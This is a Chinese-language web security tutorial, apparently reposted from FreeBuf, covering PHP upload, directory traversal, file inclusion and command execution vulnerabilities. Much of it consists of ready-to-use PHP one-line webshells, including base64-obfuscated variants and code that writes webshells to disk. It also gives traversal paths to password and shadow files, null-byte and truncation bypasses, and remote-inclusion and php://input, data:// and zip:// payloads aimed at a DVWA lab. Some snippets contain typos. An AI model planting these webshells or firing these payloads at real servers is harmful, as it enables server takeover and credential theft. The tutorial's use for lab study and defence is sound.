1. 程式人生 > 實用技巧 >檔案包含上傳漏洞&目錄遍歷命令執行漏洞

檔案包含上傳漏洞&目錄遍歷命令執行漏洞

檔案上傳漏洞:

一句話木馬

一句話木馬主要由兩部分組成:執行函式與接收被執行程式碼的變數

執行函式:

  • eval()
  • assert()
  • create_function()
  • array_map()
  • array_filter()
  • call_user_func()
  • call_user_func_array()

eval()

將字串當作PHP程式碼執行,注意一定要帶分號;

<?php @eval($_POST['shell']);?>
將含有這個程式碼的PHP檔案上傳到伺服器,命名為webshell.php後,只需要構造URL為其傳遞引數即可將其利用,也可以用例如菜刀、蟻劍這類工具

利用:

webshell.php?shell=phpinfo()

assert()

此函式正常情況下只在除錯期間使用,又稱斷言函式,此函式作用與eval()類似,都可將括號中的字串當作PHP程式碼執行

<?php @assert($_POST['shell']);?>
利用方式與eval()類似

creat_function()

該函式用於建立匿名函式

格式:

creat_function(引數,函式方法)

一句話木馬的構造:

<?php 
$func = create_function('',$_POST['shell']);
$func();
?>
解釋:因為不需要本地傳入引數,所以第一項為空即可,當我們通過POST傳入字串時,會當作PHP程式碼執行

利用:

shell=phpinfo()

array_map()

有趣的函式

該函式會將陣列中的每一個值通過回撥函式依次執行得到結果,並返回一個新的陣列

格式:

array_map(函式,陣列)

一句話木馬的構造:

<?php 
$func = $_REQUEST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
$new_array =array_map($func,$way);
?> 
解釋:將$way中的字串作為$func中PHP程式碼的引數

利用:

?func=system()&way=whoami

call_user_func() | call_user_func_array()

call_user_func — 把第一個引數作為回撥函式呼叫,其餘引數是回撥函式的引數。

call_user_func_array — 呼叫回撥函式,並把一個數組引數作為回撥函式的引數

call_user_func(回撥函式,回撥函式的引數)
call_user_func_array(回撥函式,將陣列作為回撥函式的參)

一句話木馬的構造:

<?php 
call_user_func(assert,$_GET['cmd']);
?>

<?php
$array[0] = $_POST['shell'];
call_user_func_array(eval,$array);
?>

array_filter()

依次將array陣列中的每個值傳到函式中去

array_filter(array,callback)

一句話木馬的構造:

<?php
$cmd = $_POST['cmd'];
$array[0] = $cmd;
array_filter($array,assert)
?>

<?php
$func = $_POST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
array_filter($array,$func);
?.

檔案操作函式

  • file_put_contents()
  • fputs()
  • fopen()

file_put_contents():把一個字串寫入檔案中

fputs():把一個字串寫入檔案中

二者區別:**file_puts_centents()可以直接寫入**

                   **fputs()寫入前,需要先fopen開檔案**
<?php 
$test = "<?php @eval($_GET[''shell']);?>";
file_put_contents('test1.php',$text);
?>

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>')

動態函式:

PHP函式直接由字串拼接

<?php
$_GET['a']($_GET['b'])
?>

利用: ?a=eval&b=phpinfo()

隱藏函式:

  • base64_decode()
  • pares_str()
  • str_replace()

base64_decode()

對要執行的被base64加密過的PHP程式碼進行解密

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

pares_str()

parse_str() 函式把查詢字串解析到變數中。

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

目錄遍歷漏洞

x01 Unix目錄遍歷攻擊

通用的類Unix系統的目錄遍歷攻擊字串形如“../”。

0x02 Windows作業系統目錄遍歷攻擊

對於微軟的Windows作業系統以及DOS系統的目錄結構,攻擊者可以使用“../”或者“..\”字串。

0x03 URI編碼形式的目錄遍歷攻擊

一些網路應用會通過查詢危險的字串,例如:- ..- ..\- ../

來防止目錄遍歷攻擊。然而,伺服器檢查的字串往往會被URI編碼。因此這類系統將無法避免如下形式的目錄遍歷攻擊:

  • %2e%2e%2f:解碼為../

  • %2e%2e/:解碼為../

  • ..%2f:解碼為../

  • %2e%2e%5c:解碼為..\

先包含再遍歷

攻擊形式:

../../../../../../../../../etc/paawd

檔案包含漏洞

伺服器執行PHP檔案時,可以通過檔案包含函式載入另一個檔案中的PHP程式碼,並且當PHP來執行,這會為開發者節省大量的時間。

檔案包含漏洞執行包含檔案的程式碼時,字尾名不會影響:即使字尾名時.txt也會正常執行其中的PHP程式碼

php檔案包含函式:

  • include():找不到包含的檔案時,警告,繼續執行

  • include_once()

  • require():找不到包含的檔案時,致命錯誤,停止執行

  • require_once()

    含once的表示只能包含一次
    

php包含函式

  • file_get_content():把整個檔案讀入一個字串中。

示例程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

此包含指令碼,一般是web中原始碼有的

本地文/包含漏洞

本地檔案包含就是通過瀏覽器包含web伺服器上的檔案,這種漏洞是因為瀏覽器包含檔案時沒有進行嚴格的過濾允許遍歷目錄的字元注入瀏覽器並執行。

簡而言之 : 就是攻擊者上傳了一個帶有include的PHP檔案,導致攻擊者可以便利目標伺服器上的檔案(配合檔案遍歷漏洞)

例如:再DVWA的low級別中,若在其www/dvwa/dvwa目錄下,放入一個info.php檔案(phpinfo()),此時在操作機中,可通過目錄遍歷漏洞配合檔案包含漏洞訪問並執行該檔案:

  1. 首先隨意構造URL,通過報錯資訊,確認當前的目錄為 www\dvwa\vulnerabilities\fi\index.php
  2. 而我們所放入的info.php檔案位於與vulnerabilities處於同一層級的dvwa目錄下
  3. 此時便可以通過檔案遍歷漏洞:通過../來對目錄進行回溯
  4. ?page=../../dvwa/info.php 便可以通過包含漏洞,包含並執行該檔案中的程式碼

Windows系統

c:\boot.ini // 檢視系統版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置檔案c:\windows\repair\sam // 儲存Windows系統初次安裝的密碼c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼c:\windows\php.ini // php 配置資訊

Linux/Unix系統

/etc/passwd // 賬戶資訊/etc/shadow // 賬戶密碼檔案/usr/local/app/apache2/conf/httpd.conf // Apache2預設配置檔案/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置/usr/local/app/php5/lib/php.ini // PHP相關配置/etc/httpd/conf/httpd.conf // Apache配置檔案/etc/my.conf // mysql 配置檔案

一但發生了本地包含漏洞,就可能包含到甚至是遍歷

為了防止包含漏洞的發生,在include環節會有一些過濾措施

防包含方式,給要包含的檔案加上.html字尾
<?php
    $page  = $_GET['page'];
    include($page."html");
?>

應對方法:(同樣適用於檔案上傳漏洞)

%00截斷:

此方法要求較為苛刻

  1. magic_quotes_gpc = Off(若magic_quotes_gpc處於on的狀態,會在語句中加\號)
  2. php版本<5.3.4(否則%00截斷失效)

原理:URL中的%20表示ASCII編碼中的0,而ASCII中的0作為保留欄位,表示著字串的結束

EXP

page=info.php%00

0x00截斷:

此方法作用與%00相同,且要求也相同,不同在於操作手法

0x00是16進位制的0,若想在檔案的拓展名中加入16進位制的0,直接改拓展名是沒有效果的

方法:

  1. 在檔案末尾加一些標誌:info.php a (空格的16進位制編碼為0x20 a是為了標記空格の位置)
  2. 利用burp抓包(資料包傳輸時先變為16進位制的形式)
  3. 在burp抓到的資料包中,通過HEX選項,將其改為16進位制,找到拓展名的位置,將空格的0x20改為0x00
  4. forward 完成截斷

路徑長度截斷:

Windows下目錄最大長度為256位元組,超出的部分會被丟棄

Linux下目錄最大長度為4096位元組,超出部分會被丟棄

EXP

?page=info.php............................................................................................................................................................................................

Content-Type

有時候後端會對上傳檔案的Content-Type進行限制

此時可以通過burp抓包,在報文中將Content-Type改為適合的型別

圖片頭

getimagesize(string filename) 此類函式會檢查上傳檔案的檔案頭,判斷其檔案型別

此時可以在檔案中加入 :

這個圖片頭,來繞過檢測

遠端檔案包含漏洞:

要求:

php.ini中:allow_url_fopen = Onallow_url_include = On

可以通過在URL中附加引數,讓web伺服器到引數中的IP地址中獲取並執行一個檔案

EXP

?page=http://172.16.12.128/phpinfo.php

PHP偽協議

  1. file:// — 訪問本地檔案系統
  2. http:// — 訪問 HTTP(s) 網址
  3. ftp:// — 訪問 FTP(s) URLs
  4. php:// — 訪問各個輸入/輸出流(I/O streams)
  5. zlib:// — 壓縮流
  6. data:// — 資料(RFC 2397)
  7. glob:// — 查詢匹配的檔案路徑模式
  8. phar:// — PHP 歸檔
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音訊流
  12. except:/// — 處理互動式的流

FILE://

allow_url_fopen allow_url_include

均不用開啟即可使用

格式:

file://檔案的絕對路徑

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=file://D:/www/dvwa/dvwa/info.php>

PHP://

allow_url_include

php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

allow_url_fopen

均不要開啟

PHP://filter ——— 用於讀取原始碼

引數

resource=<要過濾的資料流>     這個引數是必須的。它指定了你要篩選過濾的資料流。
read=<讀鏈的篩選列表>         該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 從web伺服器中讀取檔案
write=<寫鏈的篩選列表>    該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。  向web伺服器中寫入檔案
<;兩個鏈的篩選列表>        任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈

Eg:

?page=php://filter/read=convert.base64-encode / resource=info.php

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php>

PHP://input

是個可以訪問請求的原始資料的只讀流,可以讀取到post沒有解析的原始資料, 將post請求中的資料作為PHP程式碼執行

allow_url_fopen :off/on allow_url_include:on

簡而言之:該偽協議會把POST提交的資料當作程式碼執行

EXP:

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://input>

注意:

寫入一句話木馬時,要配合fputs函式與fopen函式函式建立php檔案才可以,直接寫入無法執行

<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

若要在web伺服器上寫入檔案:使用fputs與fopen

命令執行:直接輸入PHP程式碼即可

作用與PHP://input類似,但在語法上有所區別:

allow_url_fopen = on

allow_url_include = on

用法1:

?page=data:text/plain,<?php PHP程式碼 ?>

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain,%3C?php%20phpinfo();%20?%3E>

用法2:

?page=data:text/plain;base64,編碼後的PHP程式碼

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==>

ZIP://

allow_url_fopen() = on/off

allow_url_include() = on/off

可以直接訪問壓縮檔案中的子檔案(無需指定字尾名:即使字尾名是jpg也可以當作壓縮檔案執行)

格式

zip://archive.zip#dir/file.txt

archive.zip壓縮檔案的絕對路徑

dir 壓縮檔案中要執行的子檔名

Eg:

?page=zip://D:\\www\\dvwa\\dvwa\\test.jpg%23info.php

注意:# 一定要用 URL編碼格式下的%23代替,否則會出現錯誤

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip%23info.php>

compress.zlib://file.gz - 處理的是 '.gz' 字尾的壓縮包 compress.bzip2://file.bz2 - 處理的是 '.bz2' 字尾的壓縮包

PHAR://

作用與zlib類似

EG:

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip\\info.php>

命令執行漏洞

命令執行漏洞概念:當應用需要呼叫一些外部程式去處理內容的情況下,就會用到一些執行系統命令的函式。如PHP中的system,exec,shell_exec等,當用戶可以控制命令執行函式中的引數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。

系統相關執行命令:

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • `反單引號

passthru()這4個命令執行函式,直接接收命令的引數即可 system("whoami")

pcntl_exec("/user/bash",array("whoami"));

引數1:制定了要執行程式的PATH,第二個引數以陣列的形式,給第一個可執行程式傳遞

開啟一個指向程序的管道,該程序由派生給定的 command 命令執行而產生

STDIN、STDOUT、STDERR命令輸入輸出流,用於向控制檯(linux shell終端、windows cmd終端)輸入、輸出內容,它們預設是已經開啟的

STDIN: 只讀 ←——'r'

STDOUT: 只寫(正確資訊) ←——w

STDERR:只寫(錯誤資訊)

<?php
$handle = popen("/bin/ls", "r");
?>

PHP會將反單引號間的程式碼當作命令執行

<?php
echo `whoami`;
?>

通過& && ; 將要執行的命令進行拼接

  • & 無論如何拼接的命令都執行

  • && 只有在前一個命令執行成功的前提下,才會執行拼接的命令

  • ; 一條一條執行

  • | “|”是管道符,表示將Command 1的輸出作為Command 2的輸入,並且只打印Command 2 執行的結果

  • ||

本文作者:Deutsh,轉載請註明來自FreeBuf.COM